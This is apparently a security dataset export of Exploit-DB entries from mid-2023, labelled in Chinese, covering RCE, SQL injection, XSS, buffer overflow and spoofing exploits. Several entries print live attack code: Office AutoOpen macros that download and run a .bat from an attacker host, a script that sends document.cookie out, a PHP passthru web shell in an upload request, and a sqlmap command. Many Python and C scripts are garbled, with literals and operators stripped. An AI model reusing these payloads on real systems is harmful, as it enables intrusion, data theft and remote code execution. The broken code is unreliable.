QLWD/code_shield huggingface dataset:
标题: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path "MTAgentService" EDB-ID: 51578 CVE: 2023-36164 类型: LOCAL 平台: WINDOWS 发布日期: 2023-07-11 漏洞利用脚本: # Exploit Title: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.minitool.com/
# Software Link: https://www.minitool.com/download-center/
# Version: 12.7
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36164

# PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
MTAgentService                                                                      MTAgentService                            C:\Program Files (x86)\MiniTool ShadowMaker\AgentService.exe                             Auto

C:\Users>sc qc MTAgentService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MTAgentService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\MiniTool ShadowMaker\AgentService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MTAgentService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name:                 DESKTOP-LA7J17P
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation URL: https://www.exploit-db.com/exploits/51578
标题: Spring Cloud 3.2.2 - Remote Command Execution (RCE) EDB-ID: 51577 CVE: 2022-22963 类型: WEBAPPS 平台: JAVA 发布日期: 2023-07-11 漏洞利用脚本: # Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)
# Date: 07/07/2023
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://spring.io/projects/spring-cloud-function/
# Description: Exploit to execute commands exploiting CVE-2022-22963
# Software Link: https://spring.io/projects/spring-cloud-function
# CVE: CVE-2022-22963

import requests, argparse, json

parser = argparse.ArgumentParser()
parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True)
parseradd_argument   required
args  parserparse_args



headers     argscommand 
data   

request  requestspostargsurl datadata headersheaders
response  jsondumpsjsonloadsrequesttext indent
response URL: https://www.exploit-db.com/exploits/51577
标题: Windows 10 v21H1 - HTTP Protocol Stack Remote Code Execution EDB-ID: 51575 CVE: 2022-21907 类型: REMOTE 平台: WINDOWS 发布日期: 2023-07-07 漏洞利用脚本: ## Title: Windows 10 v21H1 - HTTP Protocol Stack Remote Code Execution
## Author: nu11secur1ty
## Date: 01.14.2022
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/download/details.aspx?id=48264
## Reference: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907
## CVE-2022-21907


## Description:
NOTE: After a couple of hours of tests and experiments, I found that
there have been no vulnerabilities, this is just a ridiculous
experiment of Microsoft. When I decided to install the IIS packages on
these Windows platforms, everything was ok, and everything is patched!
Windows Server 2019, Windows 10 version 1809 - 2018 year are not
vulnerable by default, but after I decided to upgrade from 1909 to
2004. I found a serious problem! The Windows 10 version 2004 - 2020
year is still vulnerable to the HTTP Protocol Stack (HTTP.sys). Attack
method: buffer overflow - deny of service and restart the system. This
problem exists, from last year which is reported on CVE-2021-31166,
and still there! On that days I have worked on it again with the help
and collaboration of Axel Souchet 0vercl0k the author of the idea. On
that day, I wrote an only one-line command to exploit this
vulnerability!

[+]Exploit:
```python
#!/usr/bin/python
# Author @nu11secur1ty
# CVE-2022-21907

from colorama import init, Fore, Back, Style
init(convert=True)
import requests
import time

print(Fore.RED +"Please input your host...\n")
print(Style.RESET_ALL)

print(Fore.YELLOW)
host = input()
print(Style.RESET_ALL)

print(Fore.BLUE +"Sending of especially malicious crafted packages,
please wait...")
print(Style.RESET_ALL)
time.sleep(17)

print(Fore.GREEN)
# The PoC :)
poc = requests.get(f'http://{host}/', headers = {'Accept-Encoding':
'AAAAAAAAAAAAAAAAAAAAAAAA,\
  BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S,\
  RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,\
  TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP,\
  OOOAOAOOOAOOAOOOAOOOAOOOAOO,\
  ****************************stupiD, *, ,',})
# Not necessary :)
print(poc,"\n")
print(Style.RESET_ALL)
```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows10Exploits/tree/master/2022/CVE-2022-21907)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2022/01/cve-2022-21907.html)

## Time spend:
05:30:00 URL: https://www.exploit-db.com/exploits/51575
标题: Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit - Remote Code Execution EDB-ID: 51574 CVE: 2023-33131 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-07-07 漏洞利用脚本: ## Title: Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit - Remote Code Execution
## Author: nu11secur1ty
## Date: 07.07.2023
## Vendor: https://www.microsoft.com/
## Software: https://outlook.live.com/owa/
## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-2023-33131


## Description:
In this vulnerability, the Microsoft Outlook app allows an attacker to
send an infected Word file with malicious content
to everyone who using the Outlook app, no matter web or local.
Microsoft still doesn't have a patch against this 0-day vulnerability today.

## Staus: HIGH Vulnerability

[+]Exploit:

- The malicious Word file:

```js
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat >
nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33131)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33131-microsoft-outlook.html)

## Time spend:
00:30:00 URL: https://www.exploit-db.com/exploits/51574
标题: Lost and Found Information System v1.0 - SQL Injection EDB-ID: 51570 CVE: 2023-33592 类型: WEBAPPS 平台: PHP 发布日期: 2023-07-06 漏洞利用脚本: # Exploit Title: Lost and Found Information System v1.0 - SQL Injection
# Date: 2023-06-30
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Dork : /php-lfis/admin/?page=system_info/contact_information
# Tested on: Windows/Linux
# CVE : CVE-2023-33592
import requests

# URL of the vulnerable component
url = "http://example.com/php-lfis/admin/?page=system_info/contact_information"


payload  


response  requestsgeturl  payload


   responsetext URL: https://www.exploit-db.com/exploits/51570
标题: Microsoft Edge 114.0.1823.67 (64-bit) - Information Disclosure EDB-ID: 51571 CVE: 2023-33145 类型: LOCAL 平台: MULTIPLE 发布日期: 2023-07-06 漏洞利用脚本: ## Title:Microsoft Edge 114.0.1823.67 (64-bit) - Information Disclosure
## Author: nu11secur1ty
## Date: 07.06.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/edge?form=MA13FJ&exp=e415
## Reference: https://portswigger.net/web-security/information-disclosure,
https://www.softwaresecured.com/stride-threat-modeling/
## CVE-2023-33145



## Description:
The type of information that could be disclosed if an attacker
successfully exploited this vulnerability is data inside the targeted
website like IDs, tokens, nonces, cookies, IP, User-Agent, and other
sensitive information.
The user would have to click on a specially crafted URL to be
compromised by the attacker.
In this example, the attacker use STRIDE Threat Modeling to spoof the
victim to click on his website and done.
This will be hard to detect.

## Conclusion:
Please be careful, for suspicious sites or be careful who sending you
an link to open!

## Staus: HIGH Vulnerability

[+]Exploit:

- Exploit Server:

```js
## This is a Get request from the server when the victims click! And
it is enough to understand this vulnerability! =)

<script> var i = new Image();
i.src="PoCsess.php?cookie="+escape(document.cookie)</script>

## WARNING: The PoCsess.php will be not uploaded for security reasons!
## BR nu11secur1ty

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33146)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33145-microsoft-edge.html)

## Time spend:
01:30:00 URL: https://www.exploit-db.com/exploits/51571
标题: TP-Link TL-WR940N V4 - Buffer OverFlow EDB-ID: 51561 CVE: 2023-36355 类型: DOS 平台: HARDWARE 发布日期: 2023-07-03 漏洞利用脚本: # Exploit Title: TP-Link TL-WR940N V4 - Buffer OverFlow
# Date: 2023-06-30
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : hardware
# Dork : /userRpm/WanDynamicIpV6CfgRpm
# Tested on: Windows/Linux
# CVE : CVE-2023-36355

import requests

# Replace the IP address with the router's IP
router_ip = '192.168.0.1'


url  f


payload      


response  requestsgeturl  payload


 responsestatus_code URL: https://www.exploit-db.com/exploits/51561
标题: WP AutoComplete 1.0.4 - Unauthenticated SQLi EDB-ID: 51560 CVE: 2022-4297 类型: WEBAPPS 平台: PHP 发布日期: 2023-07-03 漏洞利用脚本: # Exploit Title: WP AutoComplete 1.0.4 - Unauthenticated SQLi
# Date: 30/06/2023
# Exploit Author: Matin nouriyan (matitanium)
# Version: <= 1.0.4
# CVE: CVE-2022-4297
Vendor Homepage: https://wordpress.org/support/plugin/wp-autosearch/
# Tested on: Kali linux

---------------------------------------


The WP AutoComplete Search WordPress plugin through 1.0.4 does not sanitise 
and escape a parameter before using it in a SQL statement via an AJAX available to unauthenticated users,
leading to an unauthenticated SQL injection

--------------------------------------

How to Reproduce this Vulnerability:

1. Install WP AutoComplete <= 1.0.4 
2. WP AutoComplete <= 1.0.4 using q parameter for ajax requests
3. Find requests belong to WP AutoComplete like step 5
4. Start sqlmap and exploit 
5. python3 sqlmap.py -u "https://example.com/wp-admin/admin-ajax.php?q=[YourSearch]&Limit=1000&timestamp=1645253464&action=wi_get_search_results&security=[xxxx]" --random-agent --level=5 --risk=2 -p q URL: https://www.exploit-db.com/exploits/51560
标题: Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE) EDB-ID: 51555 CVE: 2023-33137 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-07-03 漏洞利用脚本: ## Title:Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE)
## Author: nu11secur1ty
## Date: 06.27.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/excel
## Reference: https://portswigger.net/daily-swig/rce
## CVE-2023-33137


## Description:
This exploit is connected with third part exploit server, which waits
for the victim to call him and execute the content from him using the
pipe posting method! This is absolutely a 0-day exploit! This is
absolutely dangerous for the victims, who are infected by him!
When the victim hit the button in the Excel file, it makes a POST
request to the exploit server, and the server is responding back that
way: He creates another hidden malicious file and executed it directly
on the machine of the victim, then everything is disappeared, so
nasty.

STATUS: HIGH Vulnerability WARNING: THIS IS VERY DANGER for the usual users!

[+]Exploit:
```vbs
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/nu11secur1ty/somwhere/ontheinternet/maloumnici.bat
> maloumnici.bat && .\maloumnici.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33137)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/06/microsoft-excel-microsoft-365-mso.html)

## Time spend:
01:27:00 URL: https://www.exploit-db.com/exploits/51555
标题: POS Codekop v2.0 - Authenticated Remote Code Execution (RCE) EDB-ID: 51551 CVE: 2023-36348 类型: WEBAPPS 平台: PHP 发布日期: 2023-07-03 漏洞利用脚本: # Exploit Title: POS Codekop v2.0 - Authenticated Remote Code Execution (RCE)
# Date: 25-05-2023
# Exploit Author: yuyudhn
# Vendor Homepage: https://www.codekop.com/
# Software Link: https://github.com/fauzan1892/pos-kasir-php
# Version: 2.0
# Tested on: Linux
# CVE: CVE-2023-36348
# Vulnerability description: The application does not sanitize the filename
parameter when sending data to /fungsi/edit/edit.php?gambar=user. An
attacker can exploit this issue by uploading a PHP file and accessing it,
leading to Remote Code Execution.
# Reference: https://yuyudhn.github.io/pos-codekop-vulnerability/

# Proof of Concept:
1. Login to POS Codekop dashboard.
2. Go to profile settings.
3. Upload PHP script through Upload Profile Photo.

Burp Log Example:
```
POST /research/pos-kasir-php/fungsi/edit/edit.php?gambar=user HTTP/1.1
Host: localhost
Content-Length: 8934
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
**Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarymVBHqH4m6KgKBnpa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-User: ?1**
Sec-Fetch-Dest: document
Referer: http://localhost/research/pos-kasir-php/index.php?page=user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=vqlfiarme77n1r4o8eh2kglfhv
Connection: close

------WebKitFormBoundarymVBHqH4m6KgKBnpa
Content-Disposition: form-data; name="foto"; filename="asuka-rce.php"
Content-Type: image/jpeg

ÿØÿà JFIF HHÿþ6<?php passthru($_GET['cmd']); __halt_compiler(); ?>
ÿÛC

-----------------------------
```
PHP Web Shell location:
http://localhost/research/pos-kasir-php/assets/img/user/[random_number]asuka-rce.php URL: https://www.exploit-db.com/exploits/51551
标题: Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE) EDB-ID: 51552 CVE: 2023-28285 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-07-03 漏洞利用脚本: ## Title: Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE)
## Author: nu11secur1ty
## Date: 04.17.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/
## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-2023-28285


## Description:
The attack itself is carried out locally by a user with authentication
to the targeted system. An attacker could exploit the vulnerability by
convincing a victim, through social engineering, to download and open
a specially crafted file from a website which could lead to a local
attack on the victim's computer. The attacker can trick the victim to
open a malicious web page by using a malicious `Word` file for
`Office-365 API`. After the user will open the file to read it, from
the API of Office-365, without being asked what it wants to activate,
etc, he will activate the code of the malicious server, which he will
inject himself, from this malicious server. Emedietly after this
click, the attacker can receive very sensitive information! For bank
accounts, logs from some sniff attacks, tracking of all the traffic of
the victim without stopping, and more malicious stuff, it depends on
the scenario and etc.
STATUS: HIGH Vulnerability

[+]Exploit:
The exploit server must be BROADCASTING at the moment when the victim
hit the button of the exploit!

[+]PoC:
```cmd
Sub AutoOpen()
    Call Shell("cmd.exe /S /c" & "curl -s
http://attacker.com/CVE-2023-28285/PoC.debelui | debelui",
vbNormalFocus)
End Sub
```

## FYI:
The PoC has a price and this report will be uploaded with a
description and video of how you can reproduce it only.

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-28285)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/04/cve-2023-28285-microsoft-office-remote.html)

## Time spend:
01:30:00 URL: https://www.exploit-db.com/exploits/51552
标题: FuguHub 8.1 - Remote Code Execution EDB-ID: 51550 CVE: 2023-24078 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-07-03 漏洞利用脚本: # Exploit Title: FuguHub 8.1 - Remote Code Execution
# Date: 6/24/2023
# Exploit Author: redfire359 
# Vendor Homepage: https://fuguhub.com/
# Software Link: https://fuguhub.com/download.lsp
# Version: 8.1
# Tested on: Ubuntu 22.04.1
# CVE : CVE-2023-24078 

import requests
from bs4 import BeautifulSoup
import hashlib
from random import randint
from urllib3 import encode_multipart_formdata
from urllib3.exceptions import InsecureRequestWarning
import argparse
 colorama  Fore
requestspackagesurllib3disable_warningscategoryInsecureRequestWarning


username  
password  
email  

parser  argparseArgumentParser
parseradd_argument    required  
parseradd_argument   
parseradd_argument    required  
parseradd_argument    required  
args  parserparse_args

LHOST  argslhost
LPORT  argslport
url  argsrhost
 argsrport  
    port  argsrport

    port  

 
    checkAccount

 
    f
    s  requestsSession
    
    
    r  sgetf 
    soup  BeautifulSouprcontent 
    search  soupfind
    
     rstatus_code  
        ForeRED    ForeWHITE 
        exit

    userExists  
    userText  
     i  search
         istring  userText
            userExists  
    
     userExists
        f
        loginrs
    
        
        createUserrs
        loginrs

 rs
    data   email  email  
              username  
              password  
               
    r  spostf data  data
    f    

 rs
    f

    data    username    password
    r  spostf data  data verify    

    
    login_Success_Title  
    soup  BeautifulSouprcontent 
    search  soupfind
    
     i  search
         i  login_Success_Title
            f
            exit
    f

    exploitrs

 rs
    
    r  sgetf
    
    code  rstatus_code

     code  
        f
        exit

    f
    
    
    shell  f

    
    file_content  f

    files    file_content 
    r  spostf filesfiles
    
     rtext   
        f
        r  sgetf

 __name__
    
        main
    
        f URL: https://www.exploit-db.com/exploits/51550
标题: Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS) EDB-ID: 51549 CVE: 2023-36346 类型: WEBAPPS 平台: PHP 发布日期: 2023-07-03 漏洞利用脚本: # Exploit Title: Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS)
# Date: 2023-06-23
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Dork : /print.php?nm_member=
# Vendor Homepage: https://www.codekop.com/products/source-code-aplikasi-pos-penjualan-barang-kasir-dengan-php-mysql-3.html
# Tested on: Windows/Linux
# CVE : CVE-2023-36346

import requests
 urllibparse


url  
payload  


payload  urllibparsequotepayload


params  
     payload



response  requestsgeturl paramsparams
responsetext URL: https://www.exploit-db.com/exploits/51549
标题: Azure Apache Ambari 2302250400 - Spoofing EDB-ID: 51546 CVE: 2023-23408 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-06-26 漏洞利用脚本: # Exploit Title: Azure Apache Ambari 2302250400 - Spoofing
# Date: 2023-06-23
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : Remote
# Vendor Homepage:
Microsoft
Apache Ambari
Microsoft azure Hdinsights
# Tested on: Windows/Linux
# CVE : CVE-2023-23408

import requests


url  
headers     


 headers
        headers  headers  
         
        headers  headers  
         
     


 url headers
      validate_headersheaders
        
        
    response  requestsgeturl headersheaders
     responsestatus_code  
        
    
        


send_requesturl headers URL: https://www.exploit-db.com/exploits/51546
标题: Microsoft SharePoint Enterprise Server 2016 - Spoofing EDB-ID: 51543 CVE: 2023-28288 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-06-26 漏洞利用脚本: // Exploit Title: Microsoft SharePoint Enterprise Server 2016 - Spoofing
// Date: 2023-06-20
// country: Iran
// Exploit Author: Amirhossein Bahramizadeh
// Category : Remote
// Vendor Homepage:
// Microsoft SharePoint Foundation 2013 Service Pack 1
// Microsoft SharePoint Server Subscription Edition
// Microsoft SharePoint Enterprise Server 2013 Service Pack 1
// Microsoft SharePoint Server 2019
// Microsoft SharePoint Enterprise Server 2016
// Tested on: Windows/Linux
// CVE : CVE-2023-28288






  server_url  


  fake_url  


  file_name  


  fake_file_name  

 

    HANDLE file
    DWORD bytes_written
     file_contents

    
    file_contents 

    
    file  fake_file_name GENERIC_WRITE   CREATE_ALWAYS FILE_ATTRIBUTE_NORMAL 
     file  INVALID_HANDLE_VALUE
    
         
         
    
     file file_contents file_contents bytes_written 
    
         
        file
         
    
    file

    
    file_contents  server_url file_name
    file  file_name GENERIC_WRITE   CREATE_ALWAYS FILE_ATTRIBUTE_NORMAL 
     file  INVALID_HANDLE_VALUE
    
         
         
    
     file_contents file
    
         
        file
         
    
    file

    
     file_name
    
         
         
    
     fake_file_name file_name
    
         
         
    

    
    file_contents  server_url file_name
     file_contents 
    
         
         
    

    
    

     


BOOL   url HANDLE file

    HINTERNET internet connection request
    DWORD bytes_read
     buffer

    
    internet   INTERNET_OPEN_TYPE_PRECONFIG   
     internet  
    
         FALSE
    

    
    connection  internet fake_url INTERNET_DEFAULT_HTTP_PORT   INTERNET_SERVICE_HTTP  
     connection  
    
        internet
         FALSE
    

    
    request  connection  url     
     request  
    
        connection
        internet
         FALSE
    
     request    
    
        request
        connection
        internet
         FALSE
    

    
     request buffer buffer bytes_read  bytes_read  
    
         file  
        
            
             file buffer bytes_read bytes_read 
            
                request
                connection
                internet
                 FALSE
            
        
    

    request
    connection
    internet
     TRUE URL: https://www.exploit-db.com/exploits/51543
标题: MCL-Net 4.3.5.8788 - Information Disclosure EDB-ID: 51542 CVE: 2023-34834 类型: WEBAPPS 平台: HARDWARE 发布日期: 2023-06-23 漏洞利用脚本: # Exploit Title: MCL-Net 4.3.5.8788 - Information Disclosure
# Date: 5/31/2023
# Exploit Author: Victor A. Morales, GM Sectec Inc.
# Vendor Homepage: https://www.mcl-mobilityplatform.com/net.php
# Version: 4.3.5.8788 (other versions may be affected)
# Tested on: Microsoft Windows 10 Pro
# CVE: CVE-2023-34834

Description:
Directory browsing vulnerability in MCL-Net version 4.3.5.8788 webserver running on default port 5080, allows attackers to gain sensitive information about the configured databases via the "/file" endpoint.

Steps to reproduce:
1. Navigate to the webserver on default port 5080, where "Index of Services" will disclose directories, including the "/file" directory. 
2. Browse to the "/file" directory and database entry folders configured
3. The "AdoInfo.txt" file will contain the database connection strings in plaintext for the configured database. Other files containing database information are also available inside the directory. URL: https://www.exploit-db.com/exploits/51542